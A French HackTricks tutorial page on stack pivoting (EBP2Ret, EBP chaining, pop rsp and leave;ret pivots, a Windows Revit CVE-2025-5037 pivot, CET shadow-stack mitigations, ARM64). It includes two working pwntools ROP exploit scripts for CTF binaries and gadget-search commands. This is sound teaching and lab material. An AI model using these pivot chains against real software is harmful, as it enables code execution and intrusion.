Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 15 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Cette technique exploite la capacité à manipuler le Base Pointer (EBP/RBP) pour enchaîner l'exécution de plusieurs fonctions via une utilisation soigneuse du frame pointer et de la séquence d'instructions leave; ret
.
Pour rappel, sur x86/x86-64 leave
équivaut à:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
Et comme le EBP/RBP sauvegardé se trouve dans la stack avant l'EIP/RIP sauvegardé, il est possible de le contrôler en contrôlant la stack.
Notes
- Sur 64-bit, remplacez EBP→RBP et ESP→RSP. La sémantique est la même.
- Certains compilateurs omettent le frame pointer (voir “EBP might not be used”). Dans ce cas,
leave
peut ne pas apparaître et cette technique ne fonctionnera pas.
EBP2Ret
Cette technique est particulièrement utile lorsque vous pouvez modifier le EBP/RBP sauvegardé mais n'avez aucun moyen direct de changer EIP/RIP. Elle exploite le comportement de l'épilogue de fonction.
Si, pendant l'exécution de fvuln
, vous parvenez à injecter un faux EBP dans la stack qui pointe vers une zone mémoire où l'adresse de votre shellcode/ROP chain est située (plus 8 bytes on amd64 / 4 bytes on x86 pour tenir compte du pop
), vous pouvez contrôler indirectement RIP. Au retour de la fonction, leave
positionne RSP à l'emplacement fabriqué et le pop rbp
suivant décrémente RSP, le faisant effectivement pointer vers une adresse placée par l'attaquant à cet endroit. Ensuite ret
utilisera cette adresse.
Notez que vous devez connaître 2 adresses : l'adresse vers laquelle ESP/RSP va pointer, et la valeur stockée à cette adresse que ret
consommera.
Exploit Construction
D'abord, vous devez connaître une adresse où vous pouvez écrire des données/adresses arbitraires. RSP pointera ici et consommera le premier ret
.
Ensuite, vous devez choisir l'adresse utilisée par ret
qui va transférer l'exécution. Vous pouvez utiliser :
- Une adresse valide d'un ONE_GADGET.
- L'adresse de
system()
suivie du retour et des arguments appropriés (sur x86 :ret
target =&system
, puis 4 octets poubelle, puis&"/bin/sh"
). - L'adresse d'un gadget
jmp esp;
(ret2esp) suivie d'un shellcode inline. - Une chaîne ROP staged en mémoire writable.
Souvenez-vous qu'avant chacune de ces adresses dans la zone contrôlée, il doit y avoir de l'espace pour le pop ebp/rbp
issu de leave
(8B sur amd64, 4B sur x86). Vous pouvez abuser de ces octets pour définir un second faux EBP et garder le contrôle après le retour du premier appel.
Off-By-One Exploit
Il existe une variante utilisée lorsque vous ne pouvez modifier que l'octet de poids faible du EBP/RBP sauvegardé. Dans ce cas, l'emplacement mémoire stockant l'adresse vers laquelle sauter avec ret
doit partager les trois/cinq premiers octets avec l'EBP/RBP original afin qu'un écrasement sur 1 octet puisse le rediriger. Habituellement, l'octet bas (offset 0x00) est augmenté pour sauter le plus loin possible à l'intérieur d'une page/région alignée proche.
Il est aussi courant d'utiliser un RET sled dans la stack et de placer la vraie chaîne ROP à la fin pour augmenter la probabilité que le nouveau RSP pointe à l'intérieur du sled et que la chaîne ROP finale soit exécutée.
EBP Chaining
En plaçant une adresse contrôlée dans la case EBP
sauvegardée de la stack et un gadget leave; ret
dans EIP/RIP
, il est possible de déplacer ESP/RSP
vers une adresse contrôlée par l'attaquant.
Maintenant RSP
est contrôlé et l'instruction suivante est ret
. Placez dans la mémoire contrôlée quelque chose comme :
&(next fake EBP)
-> Chargé parpop ebp/rbp
issu deleave
.&system()
-> Appelé parret
.&(leave;ret)
-> Après la fin desystem
, déplace RSP vers le next fake EBP et continue.&("/bin/sh")
-> Argument poursystem
.
De cette façon, il est possible d'enchaîner plusieurs faux EBP pour contrôler le flot du programme.
C'est similaire à un ret2lib, mais plus complexe et utile seulement dans des cas limites.
De plus, voici un exemple de challenge qui utilise cette technique avec un stack leak pour appeler une fonction gagnante. Ceci est le payload final de la page:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
astuce d'alignement amd64 : System V ABI requires 16-byte stack alignment at call sites. Si votre chaîne appelle des fonctions comme
system
, ajoutez un gadget d'alignement (p. ex.,ret
, ousub rsp, 8 ; ret
) avant l'appel pour maintenir l'alignement et éviter des plantagesmovaps
.
EBP might not be used
As explained in this post, si un binaire est compilé avec certaines optimisations ou avec frame-pointer omission, le EBP/RBP never controls ESP/RSP. Par conséquent, tout exploit fonctionnant en contrôlant EBP/RBP échouera car le prologue/epilogue ne restaure pas depuis le frame pointer.
- Not optimized / frame pointer used:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimisé / frame pointer omitted:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Sur amd64, vous verrez souvent pop rbp ; ret
au lieu de leave ; ret
, mais si le pointeur de trame est entièrement omis, il n'y a pas d'épilogue basé sur rbp
à travers lequel pivoter.
Autres façons de contrôler RSP
pop rsp
gadget
In this page vous pouvez trouver un exemple utilisant cette technique. Pour ce challenge, il fallait appeler une fonction avec 2 arguments spécifiques, et il existait un pop rsp
gadget et il y a un leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Consultez la technique ret2esp ici :
Trouver rapidement des gadgets de pivot
Utilisez votre outil de recherche de gadgets préféré pour rechercher des primitives de pivot classiques :
leave ; ret
dans des fonctions ou des bibliothèquespop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(ouadd esp, <imm> ; ret
sur x86)
Exemples:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Schéma classique de pivot staging
Une stratégie de pivot robuste utilisée dans de nombreux CTFs/exploits :
- Utiliser un petit overflow initial pour appeler
read
/recv
dans une grande région écrivable (par ex.,.bss
, heap, ou mapped RW memory) et y placer une chaine ROP complète. - Retourner dans un pivot gadget (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) pour déplacer RSP vers cette région. - Continuer avec la chaîne stagée (par ex., leak libc, appeler
mprotect
, puisread
shellcode, puis sauter dessus).
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Les parseurs côté client implémentent parfois des destructor loops qui appellent indirectement un pointeur de fonction dérivé de champs d'objet contrôlés par l'attaquant. Si chaque itération fournit exactement un appel indirect (une “one-gadget” machine), vous pouvez convertir cela en un stack pivot fiable et un point d'entrée ROP.
Observé dans la désérialisation Autodesk Revit RFA (CVE-2025-5037) :
- Des objets forgés de type
AString
placent un pointeur vers des bytes contrôlés par l'attaquant à l'offset 0. - La destructor loop exécute effectivement un gadget par objet :
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Deux pivots pratiques :
- Windows 10 (32-bit heap addrs) : misaligned “monster gadget” qui contient
8B E0
→mov esp, eax
, finalementret
, pour pivoter depuis le call primitive vers une ROP chain basée sur le heap. - Windows 11 (full 64-bit addrs) : utiliser deux objets pour piloter un pivot de weird-machine contraint :
- Gadget 1 :
push rax ; pop rbp ; ret
(déplace le rax original dans rbp) - Gadget 2 :
leave ; ... ; ret
(devientmov rsp, rbp ; pop rbp ; ret
), pivotant dans le buffer du premier objet, où suit une ROP chain conventionnelle.
- Gadget 1 :
Conseils pour Windows x64 après le pivot :
- Respecter le shadow space de 0x20 octets et maintenir un alignement sur 16 octets avant les sites
call
. Il est souvent pratique de placer des littéraux au-dessus de l'adresse de retour et d'utiliser un gadget commelea rcx, [rsp+0x20] ; call rax
suivi depop rax ; ret
pour passer des adresses de pile sans corrompre le flux de contrôle. - Non-ASLR helper modules (si présents) fournissent des pools de gadgets stables et des imports tels que
LoadLibraryW
/GetProcAddress
pour résoudre dynamiquement des cibles commeucrtbase!system
. - Creating missing gadgets via a writable thunk : si une séquence prometteuse se termine par un
call
via un pointeur de fonction écrivable (p. ex. DLL import thunk ou function pointer dans .data), écrasez ce pointeur avec une instruction bénigne d’un seul pas commepop rax ; ret
. La séquence se comporte alors comme si elle se terminait parret
(p. ex.mov rdx, rsi ; mov rcx, rdi ; ret
), ce qui est précieux pour charger les registres d’arguments Windows x64 sans écraser les autres.
Pour la construction complète de la chaîne et des exemples de gadgets, voir la référence ci‑dessous.
Mitigations modernes qui brisent stack pivoting (CET/Shadow Stack)
Les CPU x86 modernes et les OS déploient de plus en plus CET Shadow Stack (SHSTK). Avec SHSTK activé, ret
compare l’adresse de retour sur la pile normale avec une shadow stack protégée matériellement ; tout désaccord déclenche une Control-Protection fault et tue le processus. Par conséquent, des techniques comme EBP2Ret/leave;ret-based pivots planteront dès que le premier ret
est exécuté depuis une pivoted stack.
- For background and deeper details see:
- Vérifications rapides sur Linux :
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notes pour labs/CTF :
-
Certaines distributions modernes activent SHSTK pour les binaires compatibles CET lorsque le hardware et glibc le supportent. Pour des tests contrôlés dans des VMs, SHSTK peut être désactivé au niveau système via le paramètre de démarrage du kernel
nousershstk
, ou activé sélectivement via les tunables glibc au démarrage (voir références). Ne désactivez pas les mitigations sur des cibles en production. -
Les techniques basées sur JOP/COOP ou SROP peuvent toujours être viables sur certaines cibles, mais SHSTK casse spécifiquement les pivots basés sur
ret
. -
Note Windows : Windows 10+ expose la protection en user-mode et Windows 11 ajoute en kernel-mode “Hardware-enforced Stack Protection” reposant sur les shadow stacks. Les processus compatibles CET empêchent le stack pivoting/ROP au
ret
; les développeurs doivent s'inscrire via CETCOMPAT et des politiques associées (voir référence).
ARM64
Sur ARM64, les prologues et épilogues des fonctions n'enregistrent pas et ne restaurent pas le registre SP sur la pile. De plus, l'instruction RET
ne retourne pas à l'adresse pointée par SP, mais à l'adresse contenue dans x30
.
Par conséquent, par défaut, abuser de l'épilogue ne vous permettra pas de contrôler le registre SP en écrasant des données sur la pile. Et même si vous parvenez à contrôler SP, il vous faudra encore un moyen de contrôler le registre x30
.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
La façon d'effectuer quelque chose de similaire au stack pivoting sur ARM64 serait de pouvoir contrôler le SP
(en contrôlant un registre dont la valeur est passée à SP
ou parce que, pour une raison quelconque, SP
prend son adresse depuis la pile et nous avons un overflow) puis abuser de l'épilogue pour charger le registre x30
depuis un SP
contrôlé et faire un RET
dessus.
Aussi, dans la page suivante vous pouvez voir l'équivalent de Ret2esp in ARM64 :
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, exploitation off-by-one avec une rop chain commençant par un ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, pas de relro, canary, nx ni pie. Le programme accorde un leak pour la stack ou le pie et un WWW d'un qword. D'abord obtenir le leak de la stack et utiliser le WWW pour revenir et obtenir le leak du pie. Ensuite utiliser le WWW pour créer une boucle éternelle en abusant des entrées
.fini_array
+ en appelant__libc_csu_fini
(more info here). En abusant de cette écriture "éternelle", une ROP chain est écrite dans la .bss et finit par être appelée en pivotant avec RBP. - Documentation du noyau Linux : Control-flow Enforcement Technology (CET) Shadow Stack — détails sur SHSTK,
nousershstk
, les flags/proc/$PID/status
, et l'activation viaarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.